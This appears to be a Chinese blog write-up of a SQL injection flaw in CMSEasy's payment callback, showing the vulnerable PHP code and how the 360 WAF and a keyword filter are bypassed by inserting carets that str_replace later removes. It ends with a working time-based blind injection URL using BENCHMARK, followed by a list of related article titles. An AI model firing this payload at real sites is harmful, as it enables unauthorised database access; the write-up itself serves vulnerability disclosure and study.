360 php waf,cmseasy 最新版补丁绕过sql注入(绕过360waf)
首先还是老地方:archive_act.php(611行)
function respond_action() {
include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php';
$payclassname = front::$get['code'];
$payobj = new $payclassname();
$uri = $_SERVER["REQUEST_URI"];
$__uriget = strstr($uri, '?');
$__uriget = str_replace('?', '', $__uriget);
$__uriget = explode('&', $__uriget);
$_GET = array();
foreach ($__uriget as $key => $val) {
$tmp = explode('=', $val);
$_GET[$tmp[0]] = $tmp[1];
if(preg_match('/\'|select|union|"/i', $tmp1)){
exit('非法参数');
}
}
file_put_contents('logs11.txt', var_export($_GET,true));
$status = $payobj->respond();
if ($status) {
echo '';
front::refresh(url('archive/orders/oid/' . front::get('subject'), true));
} else {
echo '';
front::refresh(url('archive/orders/oid/' . front::get('subject'), true));
}
}
$tmp1与$tmp[1]开发人员一时犯糊涂,没看清,导致无效过滤。而且这里get参数进行了重组,从$_SERVER["REQUEST_URI"]分割获取,多此一举,还导致之前的过滤全部无效,这边过滤又失效。
通过front::$get['code'] 可以控制需要加载的pay文件,
再看文件: alipay.php:
function respond() {
if (!empty($_POST)) {
foreach($_POST as $key =>$data) {
if(preg_match('/(=||\')/', $data)){
return false;
}
$_GET[$key] = $data;
}
}
$payment = pay::get_payment($_GET['code']);
$seller_email = rawurldecode($_GET['seller_email']);
$order_sn = str_replace($_GET['subject'],'',$_GET['out_trade_no']);
$order_sn = trim($order_sn);
if (!pay::check_money($order_sn,$_GET['total_fee'])) {
return false;
}
if($_GET['trade_status'] == "WAIT_SELLER_SEND_GOODS"||$_GET['trade_status'] == "TRADE_FINISHED" || $_GET['trade_status'] == "TRADE_SUCCESS") {
pay::changeorders($order_sn,$_GET);
return true;
}else {
return false;
}
}
控制参数trade_status=WAIT_SELLER_SEND_GOODS, 进入pay::changeorders($order_sn,$_GET);
public static function changeorders($id,$orderlog) {
//file_put_contents('logs.txt', $id);
$where=array();
$where['id']=$id;
$where['status']=4;
//$where['orderlog']=serialize($orderlog);
$update=orders::getInstance()->rec_update($where,$id);
if($update<1) {
exit('改变订单状态出错,请联系管理员');
}
}
在这里 $id 就是之前$order_sn,可以直接由get参数控制。
进入这个方法:$update=orders::getInstance()->rec_update($where,$id);
function rec_update($row,$where) {
$tbname=$this->name;
$sql=$this->sql_update($tbname,$row,$where);
//echo $sql."
";
return $this->query_unbuffered($sql);
}
这里程序员又犯糊涂了, rec_update的方法 where变量明显是第二个参数,传入的时候居然$where放到了第一个参数(这个程序员开了吧!),这样$id值就被当做sql语句的条件了。
好吧 开始绕waf:
首先是360的waf: 检测了好多危险函数,更可恶的全局过滤单引号,看到就杀。但是$order_sn 直接被带入到了where后面 根本不需要单引号,不起作用, 在之前的方法中有一个:
$order_sn = str_replace($_GET['subject'],'',$_GET['out_trade_no']);
这样利用替换功能,在危险函数中间都插入^, 再把subject设置成^,就可以成功绕过360waf。
接下来在sql语句执行的时候又有一个过滤器:
if(preg_match('/(if|select|ascii|from|sleep)/i', $condition)){
//echo $condition;
exit('sql inject');
}
由于是update注入,又不能显示错误,sleep被过滤,只能用BENCHMARK。
又过滤了if,只能用or。
get参数又是从querystring中直接过去,空格会被替换成%20,所有只能用/**/替换:
最终的POC:(延时盲注法,稍微改动下
http://**.**.**/cmseasy/index.phpcase=archive&act=respond&code=alipay&subject=^&out_trade_no=ord(sub^str(datab^ase(),1,1))/^**^/not/^**^/in/^**^/(99)/^**^/or/^**^/BEN^CHMARK(100000000,md5(1))&trade_status=WAIT_SELLER_SEND_GOODS
360 php waf,cmseasy 最新版补丁绕过sql注入(绕过360waf)相关推荐
- 黑客常用SQL注入绕过技术总结!
今天给大家再次分享一篇硬核内容,那就是黑客常用的SQL注入绕过技术,还是那句话:我们学渗透技术不是为了攻击别人的系统,而是了解黑客常用的渗透技能,以此来修复我们自己系统中的漏洞,使我们的系统更加健壮, ...
- sql注入绕过姿势--骚姿势大全
项目地址 https://github.com/Junehck/SQL-injection-bypass 项目介绍 记录实战中的各种sql注入绕过姿势, 文章并不是完整的仅提取出byapss部分, 如 ...
- 黑客常用SQL注入绕过技术总结!(冰河吐血整理,建议收藏)
大家好,我是冰河~~ 今天给大家再次分享一篇硬核内容,那就是黑客常用的SQL注入绕过技术,还是那句话:我们学渗透技术不是为了攻击别人的系统,而是了解黑客常用的渗透技能,以此来修复我们自己系统中的漏洞, ...
- SQL注入绕过安全狗
SQL注入绕过安全狗 前期知识 黑名单 演示开始 内联注释绕过 模糊查询绕过 查询数据库用户名和表信息 前期知识 网站安全狗是一款集网站内容安全防护.网站资源保护及网站流量保护功能为一体的服务器工具, ...
- 安全狗SQL注入绕过
安全狗SQL注入绕过 本文用sqli-labs第一关为例 一.简单注入 开启安全狗后尝试正常注入,发送请求后可以看到被安全狗拦截了 1' and 1=1 %23 寻找被安全狗匹配的特征字符,这里没被拦 ...
- sql注释符注入防御_WAF的SQL注入绕过手段和防御技术
一.关于SQL注入 SQL注入是一种常见的入侵WEB应用的手法.SQL注入是利用应用系统的编程漏洞和SQL语言的语法特征,改变原始的SQL语句执行逻辑而产生的. 攻击者向Web应用发送精心构造的输入数 ...
- php 越权 漏洞,PHPYUN最新版多处SQL注入及越权操作二
### 简要描述: PHPYUN最新版(phpyun_v3.1.0604_gbk)多处SQL注入及越权操作 虽然PHPYUN在注入防御上已经做得很不错了,方的很严格,像吃掉引号,宽字节的基本上很少了, ...
- mysql注入 xfkxfk_WSS最新版多处SQL注入直接获取数据三(官方demo演示及快速定位漏洞技巧)...
### 简要描述: WSS最新版多处SQL注入直接获取数据三,官方demo演示,这里存在多处,对同一问题进行总结 ### 详细说明: WSS最新版1.3.2,这里存在多处,并对此同一问题进行总结,以及 ...
- SQL注入绕过(passby)策略
SQL注入绕过技巧 空格绕过 注释符/* */,%a0,%0a 括号绕过空格 select(user())from dual where(1=1)and(2=2) 引号绕过 采用16进制编码绕过,例如 ...
最新文章
- oracle修改undo清理时间,修改Oracle的Undo文件的方法
- buf generate Failure: failed could not find protoc plugin for name go 解决方法
- 让你每天抽出两小时陪小孩子读书,你能坚持吗?
- (转)bash条件判断之if语句
- 一篇关于Content Type的文章
- Asp.Net中OnClientClick与OnClick
- this和super关键字
- MYSQL存储过程,错误处理机制
- 解决办法:ImportError: No module named pycuda.driver
- 3---IO流练习题库
- IDEA每次启动都会Indexing
- 转载-GNS3安装和使用教程(超详细)
- 民办二本计算机专业学生出路何在?
- python升级pip_python中pip升级
- java有哪些注解_JAVA常用注解
- KioptrixVM3-writeup
- 计算机术语位字节字字长分别是什么,字长、字节、字、字位的区别
- 新版NFT数藏源码/可接支付+数字藏品系统
- 《如何让你爱的人爱上你》——莉尔·朗兹[美]
- linux企业微信清理存储空间,ZABBIX企业微信新版告警